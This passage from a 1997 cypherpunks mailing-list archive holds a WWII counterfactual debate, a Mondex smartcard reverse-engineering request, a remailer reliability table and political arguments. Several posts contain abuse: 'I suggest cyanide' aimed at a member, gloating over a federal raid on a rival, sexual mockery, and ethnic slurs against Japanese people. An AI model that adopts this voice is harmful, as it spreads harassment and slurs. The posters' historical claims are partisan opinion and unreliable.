> > good idea.  Finally a means to fight back against the spammers.  Now I'm
> > starting  to wonder what sort of agenda is driving some of these illogical
> > anti-privacy requirements.
> 
>   Often, it is just the result of people who come up with some inane
> brainstorm that looks good on the surface, but are too intellectually
> lazy to think it through and resent anyone who does so (thus destroying
> their petty work of self-proclaimed 'genius'.
>   The real losers end up doing a lot of campaigning to make up for the
> insufficiency of their logic, under the delusion that getting as many
> others as possible to jump on their bandwagon will somehow increase
> their low level of self-esteem.
> 
>   Sounds to me like the dweeb is pissed because he had to do a lot
> of blather-spamming to overcome the effects of Igor's rational
> and balanced posts on the subject.
>   Perhaps his next project could be to promote a vote on a new
> value for 'pi'. 
> 
> TruthMonger
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Mon, 24 Nov 1997 06:54:17 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Remailer Header Truncation?
Message-ID: <19971123224000.4644.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



I've started to notice that in posts to Usenet involving a Mixmaster remailer 
and a mail2news gateway, the lines in the header were being truncated to 79
characters or less.  Is this limitation in the gateway software or in
Mixmaster itself?

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 24 Nov 1997 06:03:40 +0800
To: cypherpunks@toad.com
Subject: The hacker's friend
Message-ID: <199711232143.WAA24302@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



http://cnet.com/Content/Features/Dlife/Inside/ss03.html

"Microsoft and Netscape insist that the W3C does produce truly open
standards, and that it's the only way to make sure the Web doesn't
dissolve into chaos."

  The W3C is also producing a "single point of failure" so that 
hackers will be able to concentrate their energies on gaining access
to *everything*.

Chaos==Anarchy==Freedom






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Mon, 24 Nov 1997 12:19:42 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711240315.VAA10145@einstein.ssz.com>
Message-ID: <19971123231231.18995@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Nov 23, 1997 at 09:15:20PM -0600, Jim Choate wrote:
> 
> > Had the U.S. concentrated on its own affairs, on just trade, it is unlikely
> > that what the Japanese were doing in Malaysia, Manchuria, Korea, Indochina,
> > and the Phillipines would have had any major interest for us.
> 
> The Phillipines at the time were a US protectorate, is your position that we
> should have simply turned them over without a fight? Korea was ceeded to
> Japan as a result of the 1903 defeat of Russia, how is this relevant to your
> position? Let's assume for a moment that the US hadn't gotten involved. The
> Japanese would have eventualy gotten to Australia. Once there what would have
> kept them from expanding their co-prosperity sphere eastward in order to
> better stabalize their resources. When they knocked on Guam or Midway's door
> should we have let them go like the Phillipines? How about the Japanese's
> eventual expansion into the Allutians? Should we have simply given Alaska to

I guess what Tim means is at some point a equilibrium is reached, such
as in this case 2 dominant players (Japan and USA) face each other and
rather coexist than fight, because trading is more beneficial to them
than war. The problem with such a theory is that it supposes both actors
are intelligent enough to figure out when war isn't the best
solution. In that particular case, I have little to no faith in the
japanese side...

> Really? How so? Is your position that Germany would have benignly left the
> US alone once they had defeated Britian (I am assuming of course the US
> hadn't shipped resources such as oil and fuel to them)? Had the US not
> gotten into the war the resources available to Germany and Japan were such
> they could realisticaly have beaten the Russian. One of the reasons that

Hum hum. I frankly doubt that. Somehow your ability to expand durably
depends on your ability to keep your new possessions. While occupying
France, using a satellite gouvernment, isn't that hard, occupying Russia
(for the germans) and China (for the japanese) is another, quite
impossible, task if you don't get the population support (or, at least,
indifference). So, if Hitler had known better, he would have stuck to
western europe...

> That depends on where they stop their rolling. Is your position that if we
> had refused to support conflicts against Japan and Germany all would have
> been well? Are you proposing that Germany would not have advanced with their
> atomic research? Completed development on their jet-based New York Bomber?

This is a better argument than the domino theory you were suggesting for
the Pacific front. If countries like France, England (and Italy, as
Mussolini wasn't particulary fond of Hitler in the beginning of the
30's) had been smarter, they could have dealt with Hitler differently
when he successively invaded his smallest "german speaking"
neighbours. Of course, if you go that way, you may as well rewrite the
Versailles treaty to avoid what happened in Germany latter. Always easy
to rewrite history when you know what happened....

> > The last justifiable war the American states were involved in was,
> > arguably, the War of 1812. Every war since then has been unjustified.

Justifiable as "we (the states of the Union) were invaded by the British
?". Actually, don't you think you deserved that one as the same states
tried to invade (then british) Canada, hoping GB was to busy dealing
with Napoleon ? Or correct me if I am wrong ? if you take that path, the
last justifiable war is the independence one.

> Justifiable war? How is the invasion of the US by British troops
> significantly different than the invasion by German or Japanese troops?

Once again, if 1812 the invasion actually occured, when during WWII it
was merely a possibility. You see it as certain, Time probably doesn't,
and it's a matter of opinions more than anything. Being born in Paris I
am personnally rather glad the US decided to come over ;-)

                            F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 13:19:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711240521.XAA10697@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 23 Nov 1997 23:12:31 -0500
> From: Fabrice Planchon <fabrice@math.Princeton.EDU>
> Subject: Re: Further costs of war (fwd)

> I guess what Tim means is at some point a equilibrium is reached, such
> as in this case 2 dominant players (Japan and USA) face each other and
> rather coexist than fight, because trading is more beneficial to them
> than war. The problem with such a theory is that it supposes both actors
> are intelligent enough to figure out when war isn't the best
> solution. In that particular case, I have little to no faith in the
> japanese side...

Considering the relationship between the Kwantung Army and the Emporer
faith and the Japanese are a clearly mis-matched combination.

> > Really? How so? Is your position that Germany would have benignly left the
> > US alone once they had defeated Britian (I am assuming of course the US
> > hadn't shipped resources such as oil and fuel to them)? Had the US not
> > gotten into the war the resources available to Germany and Japan were such
> > they could realisticaly have beaten the Russian. One of the reasons that
> 
> Hum hum. I frankly doubt that.

Japan beat the shit out of Russia in 1903. Had it not been for Richard
Sorge's intelligence of the situation in 1938 around Chankufeng Hill at
Vladivostok indicating the Japanese governments committment to keep the
situation from becoming a declared war and Georgi Zukhov at Khalkin Gol in
1939 the Japs would have beaten them then as well. In both situations Stalin
was up against the wall. In 1938 there are clear indications that instead of
counter-attacking he might very well have sued for peace and in the process
lost the port at Vladivostok. Had the Japanese re-inforced their army they
could have beaten the Russian troops available. Considering the lack of
roads and rail in that part of Russia it is unrealistic to expect
reinforcements to have arrived from Russia in a meaningful time frame
without recognizing the contribution Japans hesitancy in getting into a
conflict with Russia and Richard Sorge's clandestine intelligence
contributed. Had either one of those not been present then Russia would have
been eaten in little gobbles from the east and west.

> Somehow your ability to expand durably
> depends on your ability to keep your new possessions. While occupying
> France, using a satellite gouvernment, isn't that hard, occupying Russia
> (for the germans) and China (for the japanese) is another, quite
> impossible, task if you don't get the population support (or, at least,
> indifference). So, if Hitler had known better, he would have stuck to
> western europe...

Had it not been for the oil, food, and weapons we shipped Britian he would
have owned Europe in toto. It is clear from Hitlers earliest writings that
he had full intention of taking Russia. Had Stalin not had Sorge's
intelligence regarding the Japanese's intent not to attack Russia at that
time he would not have been able to pull troops from that front. Had those
troops not been pulled then both Moscow and Stalingrad *would* have fallen.
If Moscow fell Stalin fell. The Japanese also had intentions of taking
Russia but only if they could consolidate their hold in the western Pacific
Rim *and* keep America out of the conflict. China was beaten at the time.
The only thing keeping the Japanese from taking over the entire country was
two things. Their interest in expanding southward and eastward in the
Pacific to gain more oil and resource reserves (Manchuria's oil was critical
but no sufficient) and the fact that they simply didn't have enough men to
do both, expand north/west and south/east. The Japanese chose to go
south/east because they figured that with no chance of Russia attacking with
the Germans on their doorstep they could flesh out their co-prosperity sphere
and then come back once they had sufficient troops and resources *and* by
doing this in concert with the Germans there is little chance of Russia
surviving. It was also clear to many in Japan that there was no way America
could afford to stand by and watch the Pacific be taken by force. At the
time America was involved in its own expansion (ala Philipines & Guam) and
it is clear that both American and Japanese expansion in that area would not
work. The only clear path was to eliminate the American naval threat in the
Pacific. Should such a situation be achieved there was no way American could
afford to reduce the naval strength in the Atlantic by much, the Germans
were waging unrestricted submarine warfare sinking even American ships.

> > That depends on where they stop their rolling. Is your position that if we
> > had refused to support conflicts against Japan and Germany all would have
> > been well? Are you proposing that Germany would not have advanced with their
> > atomic research? Completed development on their jet-based New York Bomber?
> 
> This is a better argument than the domino theory you were suggesting for
> the Pacific front.

But this is a domino theory as well...there is one thing that studying
history and playing wargames teaches...all conflicts are a domino theory.

> If countries like France, England (and Italy, as Mussolini wasn't particulary
 fond of Hitler in the beginning of the
> 30's) had been smarter,

Mussolini may not have been fond of Hitler but he certainly admired and
respected the man, or at least that is what Ciano's diaries indicate.
Mussolini's explorations in Africa were a result of an attempt on his part
to gain respect in Hitlers eyes. Mussolini's attack on France was a gambit
to buy a seat at the surrender equal to Hitler. Mussolini's invasion of
Greece over Hitlers protests were a measure of his equality. Unfortunately
for the Italians the French & Greeks were more than capable of beating the
Italian forces. Note that the Italians were not poor forces (examine the
history of the Ariete Division in N. Africa) but rather very poorly led and
supplied. It's further of some interest to note that Japan was very diligantly
trying to get Italy to declare war on the US as late as Dec. 3, 1941.

> > > The last justifiable war the American states were involved in was,
> > > arguably, the War of 1812. Every war since then has been unjustified.
> 
> Justifiable as "we (the states of the Union) were invaded by the British
> ?". Actually, don't you think you deserved that one as the same states
> tried to invade (then british) Canada, hoping GB was to busy dealing
> with Napoleon ? Or correct me if I am wrong ? if you take that path, the
> last justifiable war is the independence one.
> 
> > Justifiable war? How is the invasion of the US by British troops
> > significantly different than the invasion by German or Japanese troops?
> 
> Once again, if 1812 the invasion actually occured, when during WWII it
> was merely a possibility.

The Japanese were certainly not bashful about taking Guam, Philipines,
Midway, the Aleutian Islands; all in their original plans. The Germans were
sinking ships as close as 20 miles off the easter seaboard. Bodies were
washing up on the beach on a regular basis all along the eastern US coast.

Keep in mind that from the tip of Siberia to the tip of Alaska is only
something like 90 miles. Now with that in mind and considering the state of
mind of Hitler, Mussolini, Tojo, etc. how realistic is it to expect them to
have passed on such a plum?

> You see it as certain,

Absolutely, every indication is that Hitler and the Japanese had full
intention of involving the US. Neither could afford to let the resources and
peoples of north and south America sit untouched even if they hadn't planned
to get the US involved. Consider where the only two locations for platinum
are located and the impact of that metal on high-technology.* Further
consider, had Germany and Japan worked in concert a little closer they could
have had 90% of all the oil on the planet. You think the oil shortages of
the 70's were a bitch. In such a world the US would not have been the first
on the moon (I suspect we wouldn't even be in the running). We would not in
all probability have developed the atom bomb in time; Germany would have
inhereted all the work the British did and considering that at the time they
had all the heavy water on the planet they would have had a definite
advantage. Take that and put things such as the ME-262, the New York Blitz
Bomber, the V2, the Tri-partite signatories expansionistic dreams, the
picture becomes quite nasty.

And if you think for one minute that the US could have stood against Europe,
Asia, Africa, and Australia combined under some sort of combined assault
with the technological edge going to the tri-partites you are sorely
misinformed.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


*  Russia & S. Africa





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 24 Nov 1997 08:05:25 +0800
To: cypherpunks@toad.com
Subject: Re: Junior Jim Bells in Training
Message-ID: <2JHnYJ838QwZv0bUsUYI/w==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> (Vulis, Toto, Detweiler...don't get any ideas.)

At least one of us has been there...done that--over ten years ago. 

Seeing the fuckers face when the Feds knock on his door comes
close to being a beautific sexual experience. It is well worth
the wait.

Anyone familiar with the statute of limitations involved?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 24 Nov 1997 07:25:58 +0800
To: cypherpunks@Algebra.COM
Subject: Mondex help needed
Message-ID: <Pine.BSF.3.96.971124001555.20959A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



I just received one of the Chase Manhattan Mondex cards. Since I've been
doing a bit of work with smartcards lately
<https://www.cypherpunks.to/scard/>, I'd like to take an extended look at
this card.

The task would be much easier if I had one or several of the following:

o Mondex card Programer Reference Manual. Somebody on this list must have
access to one.
o Protocol specifications. Even partial specs would be helpful.
o Any PC software that talks RS-232 to a reader that is meant to hold a
Mondex card. And of course the reader. If the reader work with non-Mondex
cards, all the better, because that probably means that the reader is
generic and the commands can be reverse engineered and emulated.
o An RS-232 adapter to the PCMCIA sized reader that came with my Chase
Mondex card and associated PC software. The reader has a tiny connector on
the side meant to connect to a serial port adapter. Since this is a
Mondex-only reader, I am not sure how much of the intelligence resides in
the reader. Listening to the communication between the PC software and
this
particular reader may not provide much information.

Your help is much appreciated. Anonymous donations are accepted and
encouraged. 

Thanks,



-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Mon, 24 Nov 1997 13:36:56 +0800
To: Jon Galt <jongalt@pinn.net>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971124000458.0e8f3962@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:38 PM 11/23/97 -0500, Jon Galt wrote:
>On Sun, 23 Nov 1997, Mikhael Frieden wrote:
>
>> At 08:12 PM 11/18/97 -0700, Tim May wrote:

>(May)

>> >And what would be wrong with this?
 
>(Frieden)

>>         Not a damned thing. While in this country they are in the act of
>> committing a crime.

>And who is it that gets to decide what is a "crime" and what is not?  

        It would appear to me that an illegal in the country is as much in
the act of committing a crime as a burglar is while in a place other than
his own. 

>The 
>politicos, the bureaucrats, the hoodlums in DC and elsewhere who think 
>they have the right to run the lives of everybody else.

        The politicians are responding to voters. The voters who are
pressuring them are siding with foreign nationals against the interests of
the United States which is presumed to be their new country of loyalty.
That siding should be sufficient justification remove citizenship and
return them to the land of dysentary and mui Ninos. 

>Again I ask the question:
>What gives the hoodlums in Washington DC the right to draw a line on a 
>map and control people's travel across that line?

        The people who made handgun ownership a felony gave them that right. 

        Lawmakers are resonsible for all foreseeable consequences not just
the intended consequences. 


-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Mon, 24 Nov 1997 13:36:56 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Copyrights and Wrongs, from The Netly News
Message-ID: <3.0.16.19971124001823.10b73e70@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:46 AM 11/23/97 -0700, Tim May wrote:
>At 5:32 AM -0700 11/23/97, Mikhael Frieden wrote:
>
>>        It is interesting that while almost the entire body of copyright
>>law deals with materials other then what is to be covered, the industry has
>>enough clout to get their's singled out for the first criminal penalties
>>for violation.
>>
>>        This leaves the bulk of copyrighted material, printed material,
>>photographs and the like open to being stolen as does nizkor for example.
>
>I mentioned this point back when I was on the Cyberia-l list a few years ago.
>
>Some of the law professors on the list were complaining that their
>copyright rights were being violated by the quoting or forwarding of
>articles.
>
>And the major newspapers were sending out threatening letters, which were
>generally heeded by the "offenders."
>
>Well, what about _my_ stuff? (More generally, anybody's stuff.)
>
>Why  does Professor Joe Shmoe or "The New Attleboro Times" have a greater
>claim to "copyright violations" than Fred Nobody?
>
>This is a semi-rhetorical question, as it mostly involves who is willing to
>hire a lawyer to enforce such property claims. But, as M. Frieden notes,
>the deck is stacked in favor of large newspapers, publishers, and even
>professional authors, and is stacked against private individuals and lesser
>authors gaining access to the courts.

>"Some copyrights are more equal than others."

>(Personally, I don't really believe in copyrights.)

        Perhaps but there is something particularly obnoxious to the rule
of law when scum like McVay being able to say to the effect, 'I know I am
stealing from you. Sue me.' 

        It is most clearly a mockery of the law to find his pack of
drooling toadies such as McC using the theft as a juvenile taunt, that some
may set themselves above the law solely upon the grounds of the cost of
civil action. 

        That is something simply not done in civilized society. 


-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 14:43:46 +0800
To: cypherpunks@toad.com
Subject: Re: Further costs of war (fwd)
In-Reply-To: <19971123231231.18995@math.princeton.edu>
Message-ID: <ZJsNge28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Fabrice Planchon <fabrice@math.Princeton.EDU> writes:

>
> On Sun, Nov 23, 1997 at 09:15:20PM -0600, Jim Choate wrote:
> >
> > > Had the U.S. concentrated on its own affairs, on just trade, it is unlike
> > > that what the Japanese were doing in Malaysia, Manchuria, Korea, Indochin
> > > and the Phillipines would have had any major interest for us.
> >
> > The Phillipines at the time were a US protectorate, is your position that w
> > should have simply turned them over without a fight? Korea was ceeded to
> > Japan as a result of the 1903 defeat of Russia, how is this relevant to you
> > position? Let's assume for a moment that the US hadn't gotten involved. The
> > Japanese would have eventualy gotten to Australia. Once there what would ha
> > kept them from expanding their co-prosperity sphere eastward in order to
> > better stabalize their resources. When they knocked on Guam or Midway's doo
> > should we have let them go like the Phillipines? How about the Japanese's
> > eventual expansion into the Allutians? Should we have simply given Alaska t
>
> I guess what Tim means is at some point a equilibrium is reached, such
> as in this case 2 dominant players (Japan and USA) face each other and
> rather coexist than fight, because trading is more beneficial to them
> than war. The problem with such a theory is that it supposes both actors
> are intelligent enough to figure out when war isn't the best
> solution. In that particular case, I have little to no faith in the
> japanese side...

While I have no love for the japs, I mus point out in all fairness that
FDR was attacking them on all fronts for years: 1) stopping the japs
from immigrating into the us, 2) cutting off their supplies of raw
materials (and therefore pushing the japs to conquer the territories
that would assure the supply). In particular, right before the japs
attacked pearl harbor, the US embargoed oil shipments to the japs.
The japs had said previously that they'd consider such an embargo
as a declaration of war. In particular, their line about p.h. was
that it wasn't a "sulplise attack", and that the US had previously
declared war on the japs by imposing the embargo.

> > Really? How so? Is your position that Germany would have benignly left the
> > US alone once they had defeated Britian (I am assuming of course the US
> > hadn't shipped resources such as oil and fuel to them)? Had the US not
> > gotten into the war the resources available to Germany and Japan were such
> > they could realisticaly have beaten the Russian. One of the reasons that
>
> Hum hum. I frankly doubt that. Somehow your ability to expand durably
> depends on your ability to keep your new possessions. While occupying
> France, using a satellite gouvernment, isn't that hard, occupying Russia
> (for the germans) and China (for the japanese) is another, quite
> impossible, task if you don't get the population support (or, at least,
> indifference). So, if Hitler had known better, he would have stuck to
> western europe...

My recollection is that Hitler's generla staff was busily designing the
plans for invading the US, to be implemented after he  was done with
the GB and the USSR. They involved invading via his latin american
allies (notably mexico) and possibly canada. However there was no
way to sell the war against germany to the american public, except
as part of a package deal with the war on japs.

Hitler probably made a mistake by attacking the USSR before he was finished
with the GB.  On the other hand, there's good evidence that Stalin was
hoping to attack Germany in the summer of 1941 while it was busy invading
the british isles. He made another mistake by pissing off the population,
which initially was very supportive of him, viewing him as the liberator
from the communists.

By the way, the Nazis and the Japs were never very close. Recall that the
japs became friendly with the soviets after several skirmishes in the 1930's;
the japs never joined hitler in his attack on the USSR (which would have
surely fallen had they attacked from the east); and the soviets kept trading
with the japs (at war with their british and us allies) all the way until 1945,
when they finally attacked the japs.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 24 Nov 1997 14:06:38 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <1dc1ab3d3c51deee973ea2bb249d272f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



http://www.accessone.com/~rivero/CRASH/TWA/CIAVIDEO/ciavideo.html
        
"
Aircraft with natural stability, whether a toy glider, a Cessna, or a 747, achieve that stability by designing
the aircraft so that the center of gravity is slightly foreward of the center of lift. The plane is balanced by the
pressure of the tail downward, called the "tail drag". By keeping the aerodymic center (the wings) aft of the
center of gravity, the plane is kept naturally stable. It will fly with the nose foreward. The same with the
flights of a dart or the fletching on an arrow. The stable configuration is with the aerodynamic center to the
rear of the center of gravity. 

With the exception of modern combat CCV aircraft, which require computer control to maintain stability, all
aircraft, from the Wright Flyer to the Space Shuttle, follow these same principles. 

Without the nose, the center of gravity of the aircraft would move aft of the aerodynamic center. Continued
level flight in that configuration is an impossability. Trying to fly a 747 without it's nose would be like
trying to throw a dart backwards. Both would tumble, trying to swap ends. In the case of the 747, the
wings, even if they did not tear off while flat on to the 340 knot airstream, would lose all lift, and gravity
would take over. "






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 14:51:57 +0800
To: cypherpunks@toad.com
Subject: Re: Seeing Both Sides
In-Reply-To: <v03102809b09e9d9e1a67@[207.167.93.63]>
Message-ID: <4aTNge29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tiny Timmy May <tcmay@got.net> writes:
<a long collection of statist quotes from Bobby the geodesic baron>
> (These are just a few of the Bobisms out of my "H-Files."

Now who's displaying an unnatural obsession?

> What nuggets of truth Bob uncovers are usually buried in mountains of
> florid rhetoric. More than anything, he needs to get back on his Ritalin,

I suggest cyanide.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)"Xenu's Buddy" <xenujunior@GalacticConfederation.com>
Date: Mon, 24 Nov 1997 13:16:16 +0800
To: cypherpunks@toad.com
Subject: Re: (No Subject)
Message-ID: <199711240455.FAA28286@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Benjamin Chad Wienke" <woodwose@mailexcite.com> sez:

>>Onan is commonly (albeit incorrectly) credited with the invention of
>>masturbation.  (See Genesis 38:6-10 in the Bible)  I wonder what sort of
>>thoughts the Onan-o-graph induces? [snicker, snicker]
>
>get your demonized molesting mind out of the gutter

Yep, that's definitely Second Dynamic out-ethics to the Scienos. Of course, they'd be glad to sell you some auditing to bring you up on the tone scale.
Got a few thousand extra dollars sitting around?

I didn't make up any of this stuff -- if you care enough to learn about it, do an Altavista search on "Operation Clambake." See L. Ron Hubbard's mind in action! Read about the Galactic Confederation! Thrill to the Xenu legend! Enjoy NOT spending your money to learn this stuff!

"I mock up my reactive mind." -- A great $cientology $ecret, their Clear
Cognition. I just saved you a few grand. Tip your waitress.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 24 Nov 1997 23:02:13 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199711241450.GAA13728@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 24 Nov 1997 15:20:31 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Sxyza/qC3Tns+Lb/J+MBzg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Timmy Maypole studied yoga back-streching exercises for five years so he could 
blow himself (nobody else will).

    _
   {~}
  ( V-) Timmy Maypole
  '|Y|'
  _|||_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
